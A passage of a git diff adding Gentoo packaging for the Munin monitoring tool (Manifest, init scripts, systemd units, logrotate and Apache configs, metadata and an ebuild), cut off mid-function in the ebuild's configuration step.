+IUSE="pulseaudio"
+
+DEPEND="pulseaudio? ( media-sound/pulseaudio )
+ dev-qt/qtcore:4
+ x11-libs/libX11"
+RDEPEND="${DEPEND}"
+
+src_prepare() {
+ if use !pulseaudio; then
+ sed -i -e 's/-lpulse-simple//' -e 's/-lpulse//' -e 's/PULSE/DUMMY/' ${PN}.pro || die
+ fi
+ qt4-r2_src_prepare
+}
+src_install() {
+ dobin ${PN}
+}
diff --git a/net-analyzer/munin/Manifest b/net-analyzer/munin/Manifest
new file mode 100644
index 000000000000..4038ef4eda93
--- /dev/null
+++ b/net-analyzer/munin/Manifest
@@ -0,0 +1,4 @@
+DIST munin-2.0.19-gentoo-1.tar.xz 10884 SHA256 e9fcec3cd671a0008348ab3f33e435073bbfca328e3f026552d18d88b131ae30 SHA512 f4d4b20c9250f1f7a2772da7541a1cb60c6f0e64804a5f40452c4e54534a6d47ece583ef1a755e71bd98e474b6b1842dcad5d8165e558ccf2b88669e4a090599 WHIRLPOOL 5f796db3b2f29b069b77f2d06f530221272675af0d65423a945010ebef742a623a9bff0e9c705e8db94c5ab2ec81a0a10a46884afc23d92fc640b3ae0d45e91b
+DIST munin-2.0.19.tar.gz 1335496 SHA256 13db9b00d432b92907d61f9f2bd18c2aafca03b2a6e257222fff17aa4ed02896 SHA512 c08ab54634587bb2abc4e55e52114d417ce9f3d2b421c4f44c5df3506238ecd80d1f27359346404a4eab7d779a42bc3438ebb75210e979662f261de1521a464b WHIRLPOOL 288ac49ae86aff13591cbe7357afe963d6da95b3915d94ea3887a63347dbd45969d3a86d8378d2c6ddcb3b8ad24f27ff95ce2567cdfbb216e6584219db7800e1
+DIST munin-2.0.25-gentoo-1.tar.xz 10964 SHA256 725a91fe3690a045439fd3d2541de9b67b4fe3628a6c6ec838b690c019f04922 SHA512 9065c24fc7942d6e02e7d2a7d3be516852816164c5ada496aa2703f1e5a3a41bd7f00302348496d58fad7d39d8bb2b84cfa2a2481e92834c6d1958bb153c023f WHIRLPOOL 318b0df95352b2c8a0181ef577179d380b8002288e79ac37d903603fce482ad2f0cbe5e0797495e4d1cb50c765b80daadad8d861ef83d6db89f47effeb7d6183
+DIST munin-2.0.25.tar.gz 1337586 SHA256 6832bc5839d03639e4309178d9370697fc8a80a83d9b6653953f40161e949694 SHA512 a29563cfef26b05237b3813b44b5582563f2f75477ae3c076540cfb4f3e83f89193bd05fd7eae208d9d1bae58aff75977cc2c5f4de81225f0cbb2ba2c41effa9 WHIRLPOOL 14e7fac3d91025816fa31823484673726441f186ded0bb2a6dc6f4d8f3976211a6fc49c20c7faac5d7078d6f9963766517ee2c9b22820b1164333cb6def106b8
diff --git a/net-analyzer/munin/files/localstart-munin b/net-analyzer/munin/files/localstart-munin
new file mode 100644
index 000000000000..2934cba72c18
--- /dev/null
+++ b/net-analyzer/munin/files/localstart-munin
@@ -0,0 +1,5 @@
+#!/bin/sh
+
+mkdir -p /var/run/munin
+chown munin:munin /var/run/munin
+chmod 0700 /var/run/munin
diff --git a/net-analyzer/munin/files/logrotate.d-munin.2 b/net-analyzer/munin/files/logrotate.d-munin.2
new file mode 100644
index 000000000000..96a163accbd6
--- /dev/null
+++ b/net-analyzer/munin/files/logrotate.d-munin.2
@@ -0,0 +1,30 @@
+/var/log/munin/munin-node.log {
+ daily
+ missingok
+ rotate 7
+ compress
+ copytruncate
+ notifempty
+ create 640 root root
+ postrotate
+ /etc/init.d/munin-node restart 1>/dev/null || true
+ endscript
+}
+
+/var/log/munin/munin-update.log /var/log/munin/munin-graph.log /var/log/munin/munin-html.log /var/log/munin/munin-limits.log {
+ daily
+ missingok
+ rotate 7
+ compress
+ notifempty
+ nocreate
+}
+
+/var/log/munin/munin-cgi-graph.log /var/log/munin/munin-cgi-html.log {
+ daily
+ missingok
+ rotate 7
+ compress
+ notifempty
+ create 640 @CGIUSER@
+}
diff --git a/net-analyzer/munin/files/logrotate.d-munin.3 b/net-analyzer/munin/files/logrotate.d-munin.3
new file mode 100644
index 000000000000..e7e1dda3fc65
--- /dev/null
+++ b/net-analyzer/munin/files/logrotate.d-munin.3
@@ -0,0 +1,31 @@
+/var/log/munin/munin-node.log {
+ daily
+ missingok
+ rotate 7
+ compress
+ copytruncate
+ notifempty
+ create 640 root root
+ postrotate
+ test -e /run/openrc/softlevel && /etc/init.d/munin-node restart 1>/dev/null || true
+ test -e /run/systemd/system && systemctl restart munin-node 1>/dev/null || true
+ endscript
+}
+
+/var/log/munin/munin-update.log /var/log/munin/munin-graph.log /var/log/munin/munin-html.log /var/log/munin/munin-limits.log {
+ daily
+ missingok
+ rotate 7
+ compress
+ notifempty
+ nocreate
+}
+
+/var/log/munin/munin-cgi-graph.log /var/log/munin/munin-cgi-html.log {
+ daily
+ missingok
+ rotate 7
+ compress
+ notifempty
+ create 640 @CGIUSER@
+}
diff --git a/net-analyzer/munin/files/munin-1.3.2-plugins.conf b/net-analyzer/munin/files/munin-1.3.2-plugins.conf
new file mode 100644
index 000000000000..9be6433ddc9f
--- /dev/null
+++ b/net-analyzer/munin/files/munin-1.3.2-plugins.conf
@@ -0,0 +1,81 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+#
+# This file contains configuration options for the plugins. Three
+# options are understood by munin-node itself:
+#
+# user <user> # Set the user to run the plugin as
+# group <group> # Set the group to run the plugin as
+# command <command> # Run <command> instead of the plugin. %c
+# expands to what would normally be run.
+# env.<variable> # Sets <variable> in the plugin's environment, see the
+# individual plugins to find out which variables they
+# care about.
+#
+#
+
+[smart_*]
+user root
+group disk
+
+# ipmitool and freeipmi need access to the IPMI device nodes, which
+# are only readable by root
+[ipmi_*]
+user root
+
+[freeipmi_*]
+user root
+
+# Example for a 3ware 8000-series card, with 2 disks
+# use /dev/twe0 as the actual device
+# and replicate this entry for each drive, increasing the number in -d
+#[smart_3ware-0_twe0]
+#user root
+#group root
+#env.smartargs -H -i -c -l error -l selftest -l selective -a -d 3ware,0
+#[smart_3ware-1_twe0]
+#user root
+#group root
+#env.smartargs -H -i -c -l error -l selftest -l selective -a -d 3ware,1
+
+[bind9*]
+user root
+
+[iostat*]
+user munin
+group munin
+
+[iostat_ios]
+user root
+group disk
+
+[vlan*]
+user root
+
+[postfix*]
+user root
+env.logfile maillog
+
+[sendmail*]
+env.mspqueue /var/spool/clientmqueue
+
+[mysql*]
+#env.mysqlopts -u someuser
+
+[exim*]
+group mail
+
+[cps*]
+user root
+
+[mailman]
+env.logfile /var/lib/mailman/logs/post
+env.libdir /var/lib/mailman
+env.lister /usr/lib/mailman/bin/list_members
+
+# More 3ware examples
+#[hddtemp_smartctl]
+#env.drives twe0_0 twe0_1 hda
+#env.type_twe0_0 3ware,0
+#env.type_twe0_1 3ware,1
diff --git a/net-analyzer/munin/files/munin-async.service b/net-analyzer/munin/files/munin-async.service
new file mode 100644
index 000000000000..add6d238f456
--- /dev/null
+++ b/net-analyzer/munin/files/munin-async.service
@@ -0,0 +1,10 @@
+[Unit]
+Description=Munin Async Service
+After=syslog.target network.target
+
+[Service]
+PIDFile=/run/munin/munin-asyncd.pid
+ExecStart=/usr/libexec/munin/munin-asyncd
+
+[Install]
+WantedBy=multi-user.target
diff --git a/net-analyzer/munin/files/munin-asyncd.init.2 b/net-analyzer/munin/files/munin-asyncd.init.2
new file mode 100644
index 000000000000..1e3f0a4a3858
--- /dev/null
+++ b/net-analyzer/munin/files/munin-asyncd.init.2
@@ -0,0 +1,20 @@
+#!/sbin/runscript
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+command=/usr/libexec/munin/munin-asyncd
+command_args="--fork"
+pidfile="/run/munin-asyncd.pid"
+start_stop_daemon_args="--background --make-pidfile --user munin-async"
+
+depend() {
+ need munin-node
+ before cron
+}
+
+start_pre() {
+ checkpath -d -o munin-async:munin -m 0750 /var/spool/munin-async
+}
+
+# vim: filetype=gentoo-init-d:
diff --git a/net-analyzer/munin/files/munin-graph.service b/net-analyzer/munin/files/munin-graph.service
new file mode 100644
index 000000000000..9aea1da64e95
--- /dev/null
+++ b/net-analyzer/munin/files/munin-graph.service
@@ -0,0 +1,11 @@
+[Unit]
+Description=Munin FastCGI Graph
+Requires=munin-graph.socket
+
+[Service]
+User=munin
+Group=munin
+ExecStart=/usr/libexec/munin/munin-graph
+StandardInput=socket
+StandardOutput=inherit
+StandardError=journal
diff --git a/net-analyzer/munin/files/munin-graph.socket b/net-analyzer/munin/files/munin-graph.socket
new file mode 100644
index 000000000000..533c709c50ec
--- /dev/null
+++ b/net-analyzer/munin/files/munin-graph.socket
@@ -0,0 +1,8 @@
+[Unit]
+Description=Munin FastCGI Graph Socket
+
+[Socket]
+ListenStream=/run/munin/fcgi-graph.sock
+
+[Install]
+WantedBy=sockets.target
diff --git a/net-analyzer/munin/files/munin-html.service b/net-analyzer/munin/files/munin-html.service
new file mode 100644
index 000000000000..09fdf162722b
--- /dev/null
+++ b/net-analyzer/munin/files/munin-html.service
@@ -0,0 +1,11 @@
+[Unit]
+Description=Munin FastCGI HTML
+Requires=munin-html.socket
+
+[Service]
+User=munin
+Group=munin
+ExecStart=/usr/libexec/munin/munin-html
+StandardInput=socket
+StandardOutput=inherit
+StandardError=journal
diff --git a/net-analyzer/munin/files/munin-html.socket b/net-analyzer/munin/files/munin-html.socket
new file mode 100644
index 000000000000..52fc3c354d33
--- /dev/null
+++ b/net-analyzer/munin/files/munin-html.socket
@@ -0,0 +1,8 @@
+[Unit]
+Description=Munin FastCGI HTML Socket
+
+[Socket]
+ListenStream=/run/munin/fcgi-html.sock
+
+[Install]
+WantedBy=sockets.target
diff --git a/net-analyzer/munin/files/munin-node.service b/net-analyzer/munin/files/munin-node.service
new file mode 100644
index 000000000000..92c314b6ec33
--- /dev/null
+++ b/net-analyzer/munin/files/munin-node.service
@@ -0,0 +1,11 @@
+[Unit]
+Description=Munin Node Service
+After=syslog.target network.target
+
+[Service]
+Type=forking
+PIDFile=/run/munin-node.pid
+ExecStart=/usr/sbin/munin-node
+
+[Install]
+WantedBy=multi-user.target
diff --git a/net-analyzer/munin/files/munin-node_conf.d_1.4.6-r2 b/net-analyzer/munin/files/munin-node_conf.d_1.4.6-r2
new file mode 100644
index 000000000000..9d8b5afa9673
--- /dev/null
+++ b/net-analyzer/munin/files/munin-node_conf.d_1.4.6-r2
@@ -0,0 +1,8 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+# Set to the nice level for daemon
+NICE_LEVEL=1
+
+# vim: filetype=gentoo-conf-d:
diff --git a/net-analyzer/munin/files/munin-node_init.d_2.0.19 b/net-analyzer/munin/files/munin-node_init.d_2.0.19
new file mode 100644
index 000000000000..56dcaa043ab4
--- /dev/null
+++ b/net-analyzer/munin/files/munin-node_init.d_2.0.19
@@ -0,0 +1,27 @@
+#!/sbin/runscript
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+get_munin_config() {
+ awk '$1 == "'$1'" { s=$2 } END { print s }' "$CFGFILE"
+}
+
+: ${CFGFILE:=/etc/munin/munin-node.conf}
+
+command=/usr/sbin/munin-node
+command_args="--config ${CFGFILE}"
+pidfile=$(get_munin_config pid_file)
+start_stop_daemon_args="--nicelevel ${NICE_LEVEL:-0} --wait 1500"
+extra_started_commands="reload"
+
+depend() {
+ config "$CFGFILE"
+
+ before cron
+
+ [ "$(get_munin_config log_file)" = "Sys::Syslog" ] && \
+ use logger
+}
+
+# vim: filetype=gentoo-init-d:
diff --git a/net-analyzer/munin/files/munin-node_init.d_2.0.7 b/net-analyzer/munin/files/munin-node_init.d_2.0.7
new file mode 100644
index 000000000000..0f604af577fa
--- /dev/null
+++ b/net-analyzer/munin/files/munin-node_init.d_2.0.7
@@ -0,0 +1,37 @@
+#!/sbin/runscript
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+get_munin_config() {
+ awk '$1 == "'$1'" { s=$2 } END { print s }' "$CFGFILE"
+}
+
+: ${CFGFILE:=/etc/munin/munin-node.conf}
+
+command=/usr/sbin/munin-node
+command_args="--config ${CFGFILE}"
+pidfile=$(get_munin_config pid_file)
+start_stop_daemon_args="--nicelevel ${NICE_LEVEL:-0} --wait 1500"
+extra_started_commands="reload"
+
+depend() {
+ config "$CFGFILE"
+
+ before cron
+
+ [ "$(get_munin_config log_file)" = "Sys::Syslog" ] && \
+ use logger
+}
+
+start_pre() {
+ checkpath -d $(dirname ${pidfile})
+}
+
+reload() {
+ ebegin "Reloading ${SERVICE}"
+ kill -HUP `cat ${pidfile}`
+ eend $?
+}
+
+# vim: filetype=gentoo-init-d:
diff --git a/net-analyzer/munin/files/munin.apache.include b/net-analyzer/munin/files/munin.apache.include
new file mode 100644
index 000000000000..f8b2df5daa66
--- /dev/null
+++ b/net-analyzer/munin/files/munin.apache.include
@@ -0,0 +1,31 @@
+# -*- apache -*-
+
+ScriptAlias /munin-cgi/ /usr/libexec/munin/cgi/
+Alias /munin/static /etc/munin/static
+
+<IfDefine MUNIN_HTML_CGI>
+RewriteEngine on
+
+RewriteCond %{REQUEST_URI} (/|\.html)$
+RewriteCond %{REQUEST_URI} !/static
+RewriteRule ^/munin/(.*) /munin-cgi/munin-cgi-html/$1 [PT,L]
+</IfDefine>
+
+<Directory /usr/libexec/munin/cgi/>
+ Options +ExecCGI
+
+ Order allow,deny
+ Allow from all
+
+ <IfModule mod_fcgid.c>
+ SetHandler fcgid-script
+ </IfModule>
+ <IfModule !mod_fcgid.c>
+ SetHandler cgi-script
+ </IfModule>
+</Directory>
+
+<Directory /etc/munin/static>
+ Order allow,deny
+ Allow from all
+</Directory>
diff --git a/net-analyzer/munin/files/munin.apache.include-2.4 b/net-analyzer/munin/files/munin.apache.include-2.4
new file mode 100644
index 000000000000..ec69cbb07b91
--- /dev/null
+++ b/net-analyzer/munin/files/munin.apache.include-2.4
@@ -0,0 +1,28 @@
+# -*- apache -*-
+
+ScriptAlias /munin-cgi/ /usr/libexec/munin/cgi/
+Alias /munin/static /etc/munin/static
+
+<IfDefine MUNIN_HTML_CGI>
+RewriteEngine on
+
+RewriteCond %{REQUEST_URI} (/|\.html)$
+RewriteCond %{REQUEST_URI} !/static
+RewriteRule ^/munin/(.*) /munin-cgi/munin-cgi-html/$1 [PT,L]
+</IfDefine>
+
+<Directory /usr/libexec/munin/cgi/>
+ Options +ExecCGI
+ Require all granted
+
+ <IfModule mod_fcgid.c>
+ SetHandler fcgid-script
+ </IfModule>
+ <IfModule !mod_fcgid.c>
+ SetHandler cgi-script
+ </IfModule>
+</Directory>
+
+<Directory /etc/munin/static>
+ Require all granted
+</Directory>
diff --git a/net-analyzer/munin/metadata.xml b/net-analyzer/munin/metadata.xml
new file mode 100644
index 000000000000..2bec3e9aa8b8
--- /dev/null
+++ b/net-analyzer/munin/metadata.xml
@@ -0,0 +1,90 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>sysadmin</herd>
+ <longdescription lang="en">
+ Munin the tool surveys all your computers and remembers what it saw. It
+ presents all the information in in graphs through a web interface. Its
+ emphasis is on plug and play capabilities. After completing a installation a
+ high number of monitoring plugins will be playing with no more effort. Using
+ Munin you can easily monitor the performance of your computers, networks,
+ SANs, and quite possibly applications as well. It makes it easy to determine
+ "what's different today" when a performance problem crops up. It makes it
+ easy to see how you're doing capacity wise on all limited resources.
+ </longdescription>
+ <use>
+ <flag name="mysql">
+ Install the packages required for monitoring MySQL. Disabling
+ the flag does not remove any plugin files.
+ </flag>
+ <flag name="postgres">
+ Install the packages required for monitoring
+ PostgreSQL. Disabling the flag does not remove any plugin files.
+ </flag>
+ <flag name="asterisk">
+ Install the packages required for monitoring Asterisk. Disabling
+ the flag does not remove any plugin files.
+ </flag>
+ <flag name="irc">
+ Install the packages required for monitoring IRC. Disabling the
+ flag does not remove any plugin files.
+ </flag>
+ <flag name="memcached">
+ Install the packages required for memcached
+ monitoring. Disabling the flag does not remove any plugin files.
+ </flag>
+ <flag name="ipmi">
+ Install <pkg>sys-apps/ipmitool</pkg> required for monitoring
+ IPMI sensors. Disabling the flag does not remove any plugin
+ file.
+ </flag>
+ <flag name="http">
+ Install <pkg>dev-perl/libwww-perl</pkg> required for monitoring
+ HTTP-based services such as Apache and nginx. Disabling the flag
+ does not remove any plugin file.
+ </flag>
+ <flag name="dhcpd">
+ Install <pkg>dev-perl/Net-IP</pkg>,
+ <pkg>dev-perl/HTTP-Date</pkg> and <pkg>net-misc/dhcp</pkg> to
+ monitor DHCP lease usage. This only works if the server is on
+ the same system as the node, so the server is also brought
+ in. Disabling the flag does not remove any plugin file.
+ </flag>
+ <flag name="java">
+ Build the Java-based plugins to monitor JMX-compatible
+ applications. Disabling the flag removes the jmx monitoring
+ plugins.
+ </flag>
+ <flag name="minimal">
+ Only install munin-node and its plugins. This excludes the
+ scripts to generate the web pages and the graphs.
+ </flag>
+ <flag name="cgi">
+ Install the CGI-compatible scripts for on-the-fly generation of
+ web pages and graphs. This is only meaningful if the minimal USE
+ flag is disabled.
+ </flag>
+ <flag name="apache">
+ Set up the configuration of the CGI generation of HTML and
+ graphs to work with Apache. This also install an include-able
+ configuration file.
+ </flag>
+ <flag name="ipv6">
+ Add support for IPv6 in munin-node. IPv6 support for the master
+ is always enabled, but the node requires a newer version of
+ <pkg>dev-perl/net-server</pkg>, capable of listening to IPv6
+ sockets.
+ </flag>
+ <flag name="syslog">
+ Configure the node by default to log on syslog. This requires
+ the presence of <pkg>virtual/perl-Sys-Syslog</pkg>. As of
+ version 2.0.2, the master scripts only log to file, and not to
+ syslog.
+ </flag>
+ <flag name="doc">
+ Build and install a local copy of the HTML documentation for the
+ whole software. This requires <pkg>dev-python/sphinx</pkg> to
+ process the documentation sources.
+ </flag>
+ </use>
+</pkgmetadata>
diff --git a/net-analyzer/munin/munin-2.0.19-r1.ebuild b/net-analyzer/munin/munin-2.0.19-r1.ebuild
new file mode 100644
index 000000000000..481f0c307688
--- /dev/null
+++ b/net-analyzer/munin/munin-2.0.19-r1.ebuild
@@ -0,0 +1,397 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+PATCHSET=1
+
+inherit eutils user java-pkg-opt-2 systemd
+
+MY_P=${P/_/-}
+
+DESCRIPTION="Munin Server Monitoring Tool"
+HOMEPAGE="http://munin-monitoring.org/"
+SRC_URI="mirror://sourceforge/munin/${MY_P}.tar.gz
+ http://dev.gentoo.org/~flameeyes/${PN}/${P}-gentoo-${PATCHSET}.tar.xz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 ~arm ~mips ppc x86"
+IUSE="asterisk irc java memcached minimal mysql postgres ssl test cgi ipv6 syslog ipmi http dhcpd doc apache"
+REQUIRED_USE="cgi? ( !minimal ) apache? ( cgi )"
+
+# Upstream's listing of required modules is NOT correct!
+# Some of the postgres plugins use DBD::Pg, while others call psql directly.
+# Some of the mysql plugins use DBD::mysql, while others call mysqladmin directly.
+# We replace the original ipmi plugins with the freeipmi_ plugin which at least works.
+DEPEND_COM="dev-lang/perl[berkdb]
+ kernel_linux? ( sys-process/procps )
+ doc? ( dev-python/sphinx )
+ asterisk? ( dev-perl/Net-Telnet )
+ irc? ( dev-perl/Net-IRC )
+ mysql? ( virtual/mysql
+ dev-perl/Cache-Cache
+ dev-perl/DBD-mysql )
+ ssl? ( dev-perl/Net-SSLeay )
+ postgres? ( dev-perl/DBD-Pg dev-db/postgresql )
+ memcached? ( dev-perl/Cache-Memcached )
+ cgi? ( dev-perl/FCGI )
+ apache? ( www-servers/apache[apache2_modules_cgi,apache2_modules_cgid,apache2_modules_rewrite] )
+ syslog? ( virtual/perl-Sys-Syslog )
+ http? ( dev-perl/libwww-perl )
+ dhcpd? (
+ >=net-misc/dhcp-3[server]
+ dev-perl/Net-IP
+ dev-perl/HTTP-Date
+ )
+ dev-perl/DBI
+ dev-perl/DateManip
+ dev-perl/File-Copy-Recursive
+ dev-perl/List-MoreUtils
+ dev-perl/Log-Log4perl
+ dev-perl/Net-CIDR
+ dev-perl/Net-DNS
+ dev-perl/Net-Netmask
+ dev-perl/Net-SNMP
+ dev-perl/net-server[ipv6(-)?]
+ virtual/perl-Digest-MD5
+ virtual/perl-Getopt-Long
+ virtual/perl-MIME-Base64
+ virtual/perl-Storable
+ virtual/perl-Text-Balanced
+ virtual/perl-Time-HiRes
+ !minimal? (
+ dev-perl/HTML-Template
+ dev-perl/IO-Socket-INET6
+ dev-perl/URI
+ >=net-analyzer/rrdtool-1.3[graph,perl]
+ virtual/ssh
+ )"
+
+# Keep this seperate, as previous versions have had other deps here
+DEPEND="${DEPEND_COM}
+ dev-perl/Module-Build
+ java? ( >=virtual/jdk-1.5 )
+ test? (
+ dev-perl/Test-Deep
+ dev-perl/Test-LongString
+ dev-perl/Test-Differences
+ dev-perl/Test-MockModule
+ dev-perl/Test-MockObject
+ dev-perl/File-Slurp
+ dev-perl/IO-stringy
+ dev-perl/IO-Socket-INET6
+ )"
+RDEPEND="${DEPEND_COM}
+ virtual/awk
+ ipmi? ( >=sys-libs/freeipmi-1.1.6-r1 )
+ java? (
+ >=virtual/jre-1.5
+ || ( net-analyzer/netcat6 net-analyzer/netcat )
+ )
+ !minimal? (
+ virtual/cron
+ media-fonts/dejavu
+ )
+ !<sys-apps/openrc-0.11.8"
+
+S="${WORKDIR}/${MY_P}"
+
+pkg_setup() {
+ enewgroup munin
+ enewuser munin 177 -1 /var/lib/munin munin
+ enewuser munin-async -1 /bin/sh /var/spool/munin-async
+ esethome munin-async /var/spool/munin-async
+ java-pkg-opt-2_pkg_setup
+}
+
+src_prepare() {
+ epatch "${WORKDIR}"/patches/*.patch
+
+ java-pkg-opt-2_src_prepare
+}
+
+src_configure() {
+ local cgidir='$(DESTDIR)/usr/libexec/munin/cgi'
+ use cgi || cgidir="${T}/useless/cgi-bin"
+
+ local cgiuser=$(usex apache apache munin)
+
+ cat - >> "${S}"/Makefile.config <<EOF
+PREFIX=\$(DESTDIR)/usr
+CONFDIR=\$(DESTDIR)/etc/munin
+DOCDIR=${T}/useless/doc
+MANDIR=\$(PREFIX)/share/man
+LIBDIR=\$(PREFIX)/libexec/munin
+HTMLDIR=\$(DESTDIR)/var/www/localhost/htdocs/munin
+CGIDIR=${cgidir}
+CGITMPDIR=\$(DESTDIR)/var/cache/munin-cgi
+CGIUSER=${cgiuser}
+DBDIR=\$(DESTDIR)/var/lib/munin
+DBDIRNODE=\$(DESTDIR)/var/lib/munin-node
+SPOOLDIR=\$(DESTDIR)/var/spool/munin-async
+LOGDIR=\$(DESTDIR)/var/log/munin
+PERLSITELIB=$(perl -V:vendorlib | cut -d"'" -f2)
+JCVALID=$(usex java yes no)
+STATEDIR=\$(DESTDIR)/run/munin
+EOF
+}
+
+# parallel make and install need to be fixed before, and I haven't
+# gotten around to do so yet.
+src_compile() {
+ emake -j1
+ if use doc; then
+ emake -C doc html
+ fi
+}
+
+src_test() {
+ if [[ ${EUID} == 0 ]]; then
+ eerror "You cannot run tests as root."
+ eerror "Please enable FEATURES=userpriv before proceeding."
+ return 1
+ fi
+
+ local testtargets="test-common test-node test-plugins"
+ use minimal || testtargets+=" test-master"
+
+ LC_ALL=C emake -j1 ${testtargets}
+}
+
+src_install() {
+ local dirs="
+ /var/log/munin
+ /var/lib/munin/plugin-state
+ /etc/munin/plugin-conf.d
+ /etc/munin/plugins"
+ use minimal || dirs+=" /etc/munin/munin-conf.d/"
+
+ keepdir ${dirs}
+ fowners munin:munin ${dirs}
+
+ # parallel install doesn't work and it's also pointless to have this
+ # run in parallel for now (because it uses internal loops).
+ emake -j1 DESTDIR="${D}" $(usex minimal install-minimal install)
+
+ # we remove /run from the install, as it's not the package's to deal
+ # with.
+ rm -rf "${D}"/run
+
+ # remove the plugins for non-Gentoo package managers; use -f so that
+ # it doesn't fail when installing on non-Linux platforms.
+ rm -f "${D}"/usr/libexec/munin/plugins/{apt{,_all},yum} || die
+
+ insinto /etc/munin/plugin-conf.d/
+ newins "${FILESDIR}"/${PN}-1.3.2-plugins.conf munin-node
+
+ newinitd "${FILESDIR}"/munin-node_init.d_2.0.19 munin-node
+ newconfd "${FILESDIR}"/munin-node_conf.d_1.4.6-r2 munin-node
+
+ newinitd "${FILESDIR}"/munin-asyncd.init.2 munin-asyncd
+
+ dodir /usr/lib/tmpfiles.d
+ cat - > "${D}"/usr/lib/tmpfiles.d/${CATEGORY}:${PN}:${SLOT}.conf <<EOF
+d /run/munin 0700 munin munin - -
+EOF
+
+ systemd_dounit "${FILESDIR}"/munin-async.service
+ systemd_dounit "${FILESDIR}"/munin-graph.{service,socket}
+ systemd_dounit "${FILESDIR}"/munin-html.{service,socket}
+ systemd_dounit "${FILESDIR}"/munin-node.service
+
+ cat - >> "${T}"/munin.env <<EOF
+CONFIG_PROTECT=/var/spool/munin-async/.ssh
+EOF
+ newenvd "${T}"/munin.env 50munin
+
+ dodoc README ChangeLog INSTALL
+ if use doc; then
+ cd "${S}"/doc/_build/html
+ dohtml -r *
+ cd "${S}"
+ fi
+
+ dodir /etc/logrotate.d/
+ sed -e "s:@CGIUSER@:$(usex apache apache munin):g" \
+ "${FILESDIR}"/logrotate.d-munin.3 > "${D}"/etc/logrotate.d/munin
+
+ dosym ipmi_ /usr/libexec/munin/plugins/ipmi_sensor_
+
+ if use syslog; then
+ sed -i -e '/log_file/s| .*| Sys::Syslog|' \
+ "${D}"/etc/munin/munin-node.conf || die
+ fi
+
+ # Use a simpler pid file to avoid trouble with /run in tmpfs. The
+ # munin-node service is ran as user root, and only later drops
+ # privileges.
+ sed -i -e 's:/run/munin/munin-node.pid:/run/munin-node.pid:' \
+ "${D}"/etc/munin/munin-node.conf || die
+
+ keepdir /var/spool/munin-async/.ssh
+ touch "${D}"/var/spool/munin-async/.ssh/authorized_keys
+ fowners munin-async:munin /var/spool/munin-async{,/.ssh/{,authorized_keys}}
+ fperms 0750 /var/spool/munin-async{,/.ssh}
+ fperms 0600 /var/spool/munin-async/.ssh/authorized_keys
+
+ if use minimal; then
+ # This requires the presence of munin-update, which is part of
+ # the non-minimal install...
+ rm "${D}"/usr/libexec/munin/plugins/munin_stats
+ else
+ # remove font files so that we don't have to keep them around
+ rm "${D}"/usr/libexec/${PN}/*.ttf || die
+
+ if use cgi; then
+ sed -i -e '/#graph_strategy cgi/s:^#::' "${D}"/etc/munin/munin.conf || die
+
+ keepdir /var/cache/munin-cgi
+ touch "${D}"/var/log/munin/munin-cgi-{graph,html}.log
+ fowners $(usex apache apache munin) \
+ /var/cache/munin-cgi \
+ /var/log/munin/munin-cgi-{graph,html}.log
+
+ if use apache; then
+ insinto /etc/apache2/vhosts.d
+ newins "${FILESDIR}"/munin.apache.include munin.include
+ newins "${FILESDIR}"/munin.apache.include-2.4 munin-2.4.include
+ fi
+ else
+ sed -i -e '/#graph_strategy cgi/s:#graph_strategy cgi:graph_strategy cron:' "${D}"/etc/munin/munin.conf || die
+ fi
+
+ keepdir /var/lib/munin/.ssh
+ cat - >> "${D}"/var/lib/munin/.ssh/config <<EOF
+IdentityFile /var/lib/munin/.ssh/id_ecdsa
+IdentityFile /var/lib/munin/.ssh/id_rsa
+EOF
+
+ fowners munin:munin /var/lib/munin/.ssh/{,config}
+ fperms go-rwx /var/lib/munin/.ssh/{,config}
+
+ dodir /usr/share/${PN}
+ cat - >> "${D}"/usr/share/${PN}/crontab <<EOF
+# Force the shell to bash
+SHELL=/bin/bash
+# Mail reports to root@, not munin@
+MAILTO=root
+
+# This runs the munin task every 5 minutes.
+*/5 * * * * /usr/bin/munin-cron
+
+# Alternatively, this route works differently
+# Update once a minute (for busy sites)
+#*/1 * * * * /usr/libexec/munin/munin-update
+## Check for limit excess every 2 minutes
+#*/2 * * * * /usr/libexec/munin/munin-limits
+## Update graphs every 5 minutes
+#*/5 * * * * nice /usr/libexec/munin/munin-graph
+## Update HTML pages every 15 minutes
+#*/15 * * * * nice /usr/libexec/munin/munin-html
+EOF
+
+ cat - >> "${D}"/usr/share/${PN}/fcrontab <<EOF
+# Mail reports to root@, not munin@, only execute one at a time
+!mailto(root),serial(true)
+
+# This runs the munin task every 5 minutes.
+@ 5 /usr/bin/munin-cron
+
+# Alternatively, this route works differently
+# Update once a minute (for busy sites)
+#@ 1 /usr/libexec/munin/munin-update
+## Check for limit excess every 2 minutes
+#@ 2 /usr/libexec/munin/munin-limits
+## Update graphs every 5 minutes
+#@ 5 nice /usr/libexec/munin/munin-graph
+## Update HTML pages every 15 minutes
+#@ 15 nice /usr/libexec/munin/munin-html
+EOF
+
+ # remove .htaccess file
+ find "${D}" -name .htaccess -delete || die
+ fi
+}
+
+pkg_config() {
+ if use minimal; then
+ einfo "Nothing to do."
+ return 0
+ fi
+
+ einfo "Press enter to install the default crontab for the munin master"
+ einfo "installation from /usr/share/${PN}/f?crontab"
+ einfo "If you have a large site, you may wish to customize it."
+ read
+
+ ebegin "Setting up cron ..."
+ if has_version sys-process/fcron; then
+ fcrontab - -u munin < /usr/share/${PN}/fcrontab
+ else
+ # dcron is very fussy about syntax
+ # the following is the only form that works in BOTH dcron and vixie-cron
+ crontab - -u munin < /usr/share/${PN}/crontab
+ fi
+ eend $?
+
+ einfo "Press enter to set up the SSH keys used for SSH transport"
+ read
+
+ # generate one rsa (for legacy) and one ecdsa (for new systems)
